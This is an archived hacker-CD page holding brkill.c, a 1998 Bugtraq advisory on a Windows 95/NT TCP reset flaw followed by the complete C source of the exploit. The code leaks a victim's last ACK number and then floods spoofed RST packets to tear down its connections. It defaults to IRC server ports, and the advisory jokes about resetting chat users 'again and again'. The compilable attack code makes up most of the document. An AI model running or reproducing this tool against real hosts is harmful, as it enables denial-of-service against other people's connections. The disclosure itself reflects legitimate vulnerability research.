home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / brkill.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-15  |  14.9 KB  |  546 lines

  1. Date: Mon, 5 Oct 1998 12:47:06 -0500
  2. From: Basement Research <br@DEEPTHOUGHT.EE.SIUE.EDU>
  3. To: BUGTRAQ@netspace.org
  4. Subject: New Windows Vulnerability
  5.  
  6.         While working on a different project back in August, we stumbled upon
  7. a flaw in Microsoft's TCP/IP implementation.  The flaw, which is present in at
  8. least Windows 95 and Windows NT 4.0, allows an attacker to reset an existing
  9. connection on Windows machines, as long as the attacker knows the IP address
  10. and TCP port of the other end of the connection (and can successfully guess
  11. the target machine's TCP port for the connection - often not too far above
  12. 1024.)
  13.  
  14.         The problem arises when a packet is sent to a Microsoft machine that
  15. generates a reset.  Our example code uses a PSH ACK to generate this reset.
  16. The resulting reset's ACK field contains the last acknowledged sequence number
  17. across all of the target's currently established TCP connections.  Armed with
  18. this knowledge, we can then send the target machine a RST with the retrieved
  19. ACK number as the sequence number (and 0 in the ACK field), resulting in an
  20. abortive release of the connection. As an added bonus, since Microsoft OS's
  21. respond with resets on ALL ports, we can retrieve the last ack'd sequence
  22. number from any arbitrary closed port.
  23.  
  24.         Of course, this has some limitations - we must know the TCP port number
  25. and IP address of both ends of targeted connection.  This is not as hard as it
  26. may seem at first glance - if we know the type of TCP connection, we probably
  27. know the server port.  As to the target's TCP port, its probably not too far
  28. above 1024. A significant obstacle to resetting a connection is the need to get 
  29. the reset to the target before it sends another ack.  To address this problem,
  30. the brkill.c code includes the -n switch, which will cause brkill to send
  31. the range of sequence numbers from ack to (ack + n) to the target host.
  32. Lastly,  if the target has a large number of established TCP connections,
  33. resetting the connection can be difficult since there will be several sets
  34. of ACK numbers, and it won't be obvious which one belongs to the connection we
  35. want to kill.
  36.  
  37.         We reported the problem to Microsoft back on September 15, and received
  38. the boilerplate "Thanks, we'll look into it" answers back. It is now time
  39. to release the details of the vulnerability so that Windows users can take
  40. steps to protect themselves. The source code for brkill, a proof-of-concept
  41. demonstration of the problem, is available here.
  42.  
  43. The source has been tested on FreeBSD, OpenBSD and Linux, and requires
  44. the pcap library.
  45.  
  46.                                 Implications
  47.  
  48. We consider the following types of connections to be the most vulnerable to
  49. this attack:
  50.  
  51. Login connections: telnet, rlogin, xterm, etc. These generally involve low data
  52. rates and have a well-known server port, making them easy targets.
  53.  
  54. MS PPTP connections. Data rates are not always low, but the connections last
  55. long, and can generally be reset with ease.
  56.  
  57. Certain connections, even when they originate from non-Microsoft machines,
  58. may be  vulnerable to this attack if the logical connection is being relayed
  59. b y MS Proxy Server.  This assumes that MS proxy is vulnerable, which it
  60. may or may not be.  We haven't tested it.
  61.  
  62. Public chat connections such as IRC have been found to be susceptible to this
  63. attack.  These are particularly fun as you get to see them being reset (again
  64. and again :) ).
  65.  
  66.                         Availability of Source Code
  67. Source code is available from http://deep.ee.siue.edu/br/
  68.  
  69.  
  70. /* brkill.c
  71.  * by the basement research, llp
  72.  * Sat Sep  5 04:01:11 CDT 1998
  73.  * For the details of how this works, you can visit http://deep.ee.siue.edu/br.
  74.  * To compile: 
  75.  * cc -O2 -o brkill brkill.c -lpcap 
  76.  */
  77.  
  78. #define SWAP(a,b) { a^=b; b^=a; a^=b; }
  79. #define _BSD_SOURCE    1
  80. #ifdef __FreeBSD__
  81. #define BSDFIX(a) (a)
  82. #else
  83. #define BSDFIX(a) htons(a)
  84. #endif
  85.  
  86. #include <stdio.h>
  87. #include <unistd.h>
  88. #include <stdlib.h>
  89. #include <string.h>
  90. #include <errno.h>
  91. #include <netdb.h>
  92. #include <sys/utsname.h>
  93. #include <sys/time.h>
  94. #include <sys/socket.h>
  95. #include <net/if.h>
  96. #include <netinet/in.h>
  97. #include <netinet/in_systm.h>
  98. #include <netinet/ip.h>
  99. #include <netinet/tcp.h>
  100. #include "pcap.h"
  101.  
  102. #define TIMEOUT_VALUE    500
  103. #define VICTIM_START_PORT    1023
  104.  
  105. struct evilpkt
  106.   {
  107.     struct ip iphdr;
  108.     struct tcphdr tcphead;
  109.   }
  110. pkt;
  111.  
  112. struct fakehdr
  113.   {
  114.     u_long saddr;
  115.     u_long daddr;
  116.     u_char zero;
  117.     u_char proto;
  118.     u_short len;
  119.     struct tcphdr faketcp;
  120.   }
  121. pseudo;
  122.  
  123. static pcap_t *pfd;
  124. u_long victim;
  125. u_short port;
  126. char *device = NULL;
  127. u_short link_offset = 14;
  128. static char *filter_str;
  129. struct pcap_pkthdr hdr;
  130.  
  131. u_short
  132. tcp_cksum (u_short * tcphdr, int len)
  133. {
  134.   register long sum = 0;
  135.   u_short *w = tcphdr;
  136.   static u_short answer = 0;
  137.  
  138.   while (len > 1)
  139.     {
  140.       sum += *w++;
  141.       len -= 2;
  142.     }
  143.   if (len == 1)
  144.     {
  145.       *(u_char *) (&answer) = *(u_char *) w;
  146.       sum += answer;
  147.     }
  148.   sum = (sum >> 16) + (sum & 0xffff);
  149.   sum += (sum >> 16);
  150.   return (~sum);
  151. }
  152.  
  153. void
  154. start_pcap ()
  155. {
  156.   char cmd[200];
  157.   int psize ;
  158.   struct bpf_program fcode;
  159.   u_int localnet, netmask;
  160.   char errbuf[PCAP_ERRBUF_SIZE];
  161.   char dialup[] = "ppp0";
  162.   psize = 300;
  163.  
  164.  
  165.   if (device == NULL)
  166.     {
  167.       if ((device = pcap_lookupdev (errbuf)) == NULL)
  168.     {
  169.       printf ("pcap_lookupdev : %s\n", errbuf);
  170.       exit (-1);
  171.     }
  172.     }
  173.   printf ("Selected network device: %s\n", device);
  174.   if (!strcmp (device, dialup))
  175.     {
  176.       link_offset = 0;
  177.     }
  178.   if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf))
  179.       == NULL)
  180.     {
  181.       printf ("pcap_open_live : %s\n", errbuf);
  182.       exit (-1);
  183.     }
  184.   if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0)
  185.     {
  186.       printf ("pcap_lookupnet : %s\n", errbuf);
  187.       exit (-1);
  188.     }
  189.   snprintf (cmd, sizeof (cmd), filter_str);
  190.   printf ("Setting filter : %s\n", filter_str);
  191.   if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0)
  192.     {
  193.       printf ("pcap_compile : %s\n", pcap_geterr (pfd));
  194.       exit (-1);
  195.     }
  196.   if (pcap_setfilter (pfd, &fcode) < 0)
  197.     {
  198.       printf ("pcap_setfilter : %s\n", pcap_geterr (pfd));
  199.       exit (-1);
  200.     }
  201.   if (pcap_datalink (pfd) < 0)
  202.     {
  203.       printf ("pcap_datalink : %s\n", pcap_geterr (pfd));
  204.       exit (-1);
  205.     }
  206. }
  207.  
  208. u_long
  209. extract_ack (char *pkt)
  210. {
  211.   u_long extracted;
  212.   u_long last_ack = 0;
  213.  
  214.   bcopy ((u_long *) (pkt + 28), &extracted, sizeof (u_long));
  215.   last_ack = ntohl (extracted);
  216.   if (last_ack == 0)
  217.     {
  218.       puts ("This machine returns a last ACK of 0.  Cannot reset.");
  219.       exit (-1);
  220.     }
  221.   printf ("Last ACK # sent by the victim is %lu (%#lx).\n", last_ack, last_ack);
  222.   return (last_ack);
  223. }
  224.  
  225. u_long
  226. grab_pcap ()
  227. {
  228.   char *pptr = NULL;
  229.   u_long last_ack;
  230.  
  231.   while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL);
  232.   pptr = pptr + link_offset;
  233.   last_ack = extract_ack (pptr);
  234.   return (last_ack);
  235. }
  236.  
  237. void
  238. init_pkt (u_long dest, u_long src, u_short port)
  239. {
  240.   size_t pktlen;
  241.  
  242.   pktlen = sizeof (struct ip) + sizeof (struct tcphdr);
  243.   bzero (&pkt, 40);
  244.   bzero (&pseudo, 32);
  245.   pkt.iphdr.ip_hl = 0x5;
  246.   pkt.iphdr.ip_v = IPVERSION;
  247.   pkt.iphdr.ip_tos = 0x0;
  248.   pkt.iphdr.ip_len = pktlen;
  249.   pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
  250.   pkt.iphdr.ip_off = BSDFIX (IP_DF);
  251.   pkt.iphdr.ip_ttl = 255;
  252.   pkt.iphdr.ip_p = IPPROTO_TCP;
  253.   pkt.iphdr.ip_src.s_addr = src;
  254.   pkt.iphdr.ip_dst.s_addr = dest;
  255.   pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
  256.   pkt.tcphead.th_sport = htons (rand () % 5000 + 1024);
  257.   pkt.tcphead.th_dport = htons (port);
  258.   pkt.tcphead.th_seq = 0;
  259.   pkt.tcphead.th_ack = 0;
  260.   pkt.tcphead.th_x2 = 0;
  261.   pkt.tcphead.th_off = 0x5;
  262.   pkt.tcphead.th_flags = TH_ACK + TH_PUSH;    /* Use user-supplied argument */
  263.   pkt.tcphead.th_win = htons (0x800);
  264.   pkt.tcphead.th_urp = 0;
  265.   /* Now init the pseudoheader we need to calculate the TCP checksum */
  266.   pseudo.saddr = src;
  267.   pseudo.daddr = dest;
  268.   pseudo.zero = 0;
  269.   pseudo.proto = IPPROTO_TCP;
  270.   pseudo.len = htons (0x14);    /* Refers to ONLY the TCP header plus any options */
  271.   bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
  272.   pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
  273. }
  274.  
  275. int
  276. open_sock ()
  277. /* Open up a socket and return the resulting file descriptor. */
  278. {
  279.   int sockfd;
  280.   const int bs = 1;
  281.  
  282.   if ((sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  283.     {
  284.       perror ("open_sock():socket()");
  285.       exit (-1);
  286.     }
  287.   if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *) &bs, sizeof (bs)) < 0)
  288.     {
  289.       perror ("open_sock():setsockopt()");
  290.       close (sockfd);
  291.       exit (-1);
  292.     }
  293.   return (sockfd);
  294. }
  295.  
  296. struct sockaddr_in *
  297. set_sockaddr (u_long daddr, u_short port)
  298. /* Set up target socket address and return pointer to sockaddr_in structure. */
  299. {
  300.   struct sockaddr_in *dest_sockaddr;
  301.   dest_sockaddr = (struct sockaddr_in *) malloc (sizeof (struct sockaddr_in));
  302.  
  303.   bzero (dest_sockaddr, sizeof (struct sockaddr_in));
  304.   dest_sockaddr->sin_family = AF_INET;
  305.   dest_sockaddr->sin_port = htons (port);
  306.   dest_sockaddr->sin_addr.s_addr = daddr;
  307.   return (dest_sockaddr);
  308. }
  309.  
  310. u_long
  311. host_to_ip (char *host_name)
  312. {
  313.   struct hostent *target;
  314.   u_long *resolved_ip;
  315.   resolved_ip = (u_long *) malloc (sizeof (u_long));
  316.  
  317.   if ((target = gethostbyname (host_name)) == NULL)
  318.     {
  319.       fprintf (stderr, "host_to_ip: %d\n", h_errno);
  320.       exit (-1);
  321.     }
  322.   else
  323.     {
  324.       bcopy (target->h_addr, resolved_ip, sizeof (struct in_addr));
  325.       return ((u_long) * resolved_ip);
  326.     }
  327. }
  328.  
  329. char *
  330. set_filter (char *destip, char *srcip, char *dport)
  331. {
  332.   static char *filt;
  333.  
  334.   filt = (char *) malloc (strlen (destip) + strlen (srcip) + strlen (dport) + 39);
  335.   filt[0] = '\0';
  336.   strcat (filt, "src host ");
  337.   strcat (filt, destip);
  338.   strcat (filt, " and dst host ");
  339.   strcat (filt, srcip);
  340.   strcat (filt, " and src port ");
  341.   strcat (filt, dport);
  342.   return (filt);
  343. }
  344.  
  345. u_long
  346. get_ack (u_long victim, u_long saddr, u_short port, int fd, struct sockaddr_in * sock, int delay)
  347. {
  348.   size_t psize;
  349.   u_long last_ack;
  350.  
  351.   psize = sizeof (struct evilpkt);
  352.   init_pkt (victim, saddr, port);
  353.   sleep (delay);
  354.   if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
  355.     {
  356.       perror ("sendto()");
  357.       close (fd);
  358.       exit (-1);
  359.     }
  360.   last_ack = grab_pcap ();
  361.   return (last_ack);
  362. }
  363.  
  364. void
  365. usage ()
  366. {
  367.   puts ("brkill - by basement research, 9/30/98\n");
  368.   puts ("Usage: brkill [-d device] [-s source IP addr]");
  369.   puts ("\t [-t time to pause between get_acks (default=1 sec)]");
  370.   puts ("\t [-l server low port or single port if not using range (default=6660)]");
  371.   puts ("\t [-h server high port or single port if not using range (default=6670)]");
  372.   puts ("\t [-v # of victim ports to target (starting at 1023, default=50)]");
  373.   puts ("\t [-n # of times to increment seq # by 1 for each port combo (default=0)]");
  374.   puts ("\t <victim addr> <victim's server> <dest port for ack retrieval>");
  375.   exit (0);
  376. }
  377.  
  378. int
  379. main (int argc, char **argv)
  380. {
  381.   int fd, i, sp, opt, delay = 1, vichighport, vicports = 50, highseq = 0;
  382.   u_short ircport, slowport = 0, shighport = 0;
  383.   char *source = NULL;
  384.   struct sockaddr_in *sock;
  385.   u_long saddr, server;
  386.   size_t psize;
  387.   register u_long last_ack;
  388.   struct hostent *hptr;
  389.   struct utsname localname;
  390.  
  391.   if ((argc > 18) || (argc < 4))
  392.     {
  393.       usage ();
  394.     }
  395.  
  396.   while ((opt = getopt (argc, argv, "d:s:t:l:h:v:n:")) != -1)
  397.     {
  398.       switch (opt)
  399.     {
  400.     case 'd':
  401.       device = optarg;
  402.       break;
  403.     case 's':
  404.       source = optarg;
  405.       saddr = host_to_ip (source);
  406.       break;
  407.     case 'p':
  408.       delay = atoi (optarg);
  409.       break;
  410.     case 'l':
  411.       slowport = atoi (optarg);
  412.       break;
  413.     case 'h':
  414.       shighport = atoi (optarg);
  415.       break;
  416.     case 'v':
  417.       vicports = atoi (optarg);
  418.       break;
  419.         case 'n':
  420.         highseq = atoi (optarg);
  421.          break;
  422.     case '?':
  423.       puts ("Unknown option.");
  424.       exit (-1);
  425.     }
  426.     }
  427.  
  428. /* Try to determine source IP address if its not provided */
  429.   if (source == NULL)
  430.     {
  431.       if (uname (&localname) < 0)
  432.     {
  433.       perror ("uname(): ");
  434.       exit (-1);
  435.     }
  436.       if ((hptr = gethostbyname (localname.nodename)) == NULL)
  437.     {
  438.       perror ("gethostbyname(): ");
  439.       exit (-1);
  440.     }
  441.       source = hptr->h_name;
  442.       bcopy (hptr->h_addr, &saddr, sizeof (struct in_addr));
  443.       printf ("Using a source address of %s\n", inet_ntoa (saddr));
  444.     }
  445.  
  446. /* These next two if conditionals deal with the situation where only -l or
  447.  * -h are specified.  In these cases, we will only target the specified port.
  448.  */
  449.   if ((slowport > 0) && (shighport == 0))
  450.     {
  451.       shighport = slowport;
  452.     }
  453.   if ((shighport > 0) && (slowport == 0))
  454.     {
  455.       slowport = shighport;
  456.     }
  457.  
  458. /* If the low server port is bigger than the high server port, then the user
  459.  * doesn't know what they are doing.  In this case, we'll swap the values.
  460.  */
  461.   if (slowport > shighport)
  462.     {
  463.       SWAP (slowport, shighport);
  464.       puts ("Warning: low port is greater than high port - swapping the two...");
  465.     }
  466.  
  467. /* Defaults if neither -l nor -h are specified (common IRC server ports). */
  468.   if ((slowport == 0) && (shighport == 0))
  469.     {
  470.       slowport = 6660;
  471.       shighport = 6670;
  472.     }
  473. /* End of the options processing code */
  474.  
  475.   vichighport = VICTIM_START_PORT + vicports;
  476.   ircport = shighport;
  477.   filter_str = set_filter (argv[optind], source, argv[optind + 2]);
  478.   victim = host_to_ip (argv[optind]);
  479.   server = host_to_ip (argv[optind + 1]);
  480.   port = (u_short) atoi (argv[optind + 2]);
  481.   sock = set_sockaddr (victim, port);
  482.   fd = open_sock ();
  483.   psize = sizeof (struct evilpkt);
  484.   start_pcap ();
  485.   while (1)
  486.     {
  487.       last_ack = get_ack (victim, saddr, port, fd, sock, delay);
  488.       pkt.iphdr.ip_src.s_addr = server;
  489.       pkt.iphdr.ip_dst.s_addr = victim;
  490.       pkt.iphdr.ip_id = htons (rand () % 7000);
  491.       pkt.iphdr.ip_off = 0;
  492.       pkt.tcphead.th_flags = TH_RST;
  493.       pkt.tcphead.th_win = 0;
  494.       pkt.tcphead.th_ack = 0;
  495.       pseudo.saddr = server;
  496.       pseudo.daddr = victim;
  497.       if (ircport >= slowport)
  498.     {
  499.       pkt.tcphead.th_sport = htons (ircport);
  500.     }
  501.       else
  502.     {
  503.       ircport = shighport;
  504.       pkt.tcphead.th_sport = htons (ircport);
  505.     }
  506.       printf ("Setting the source port to %d.\n", ircport);
  507.       ircport--;
  508.       for (i = 0; i <= highseq; i++)
  509.     {
  510.       pkt.tcphead.th_seq = htonl (last_ack + i);
  511.       bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
  512.       for (sp = VICTIM_START_PORT; sp < vichighport; sp++)
  513.         {
  514. /* FreeBSD has problems and runs out of buffer space in sendto() unless
  515.    we insert a delay here.  Unfoprtunately, this makes the code less
  516.    effective. */
  517. #ifdef __FreeBSD__
  518.           if (!(sp % 20))
  519.         {
  520.           usleep (20000);
  521.         }
  522. #endif
  523.           pkt.tcphead.th_dport = htons (sp);
  524.           bcopy (&pkt.tcphead.th_dport, &pseudo.faketcp.th_dport, 2);
  525.           pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
  526.           pkt.iphdr.ip_sum = 0;
  527.           pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
  528.           pseudo.faketcp.th_sum = 0;
  529.           pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
  530.           if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
  531.         {
  532.           perror ("sendto(): ");
  533.           close (fd);
  534.           exit (-1);
  535.         }
  536.         }
  537.     }
  538.     }
  539.   if (close (fd) == -1)
  540.     {
  541.       perror ("close()");
  542.       exit (-1);
  543.     }
  544.   return (0);
  545. }
  546.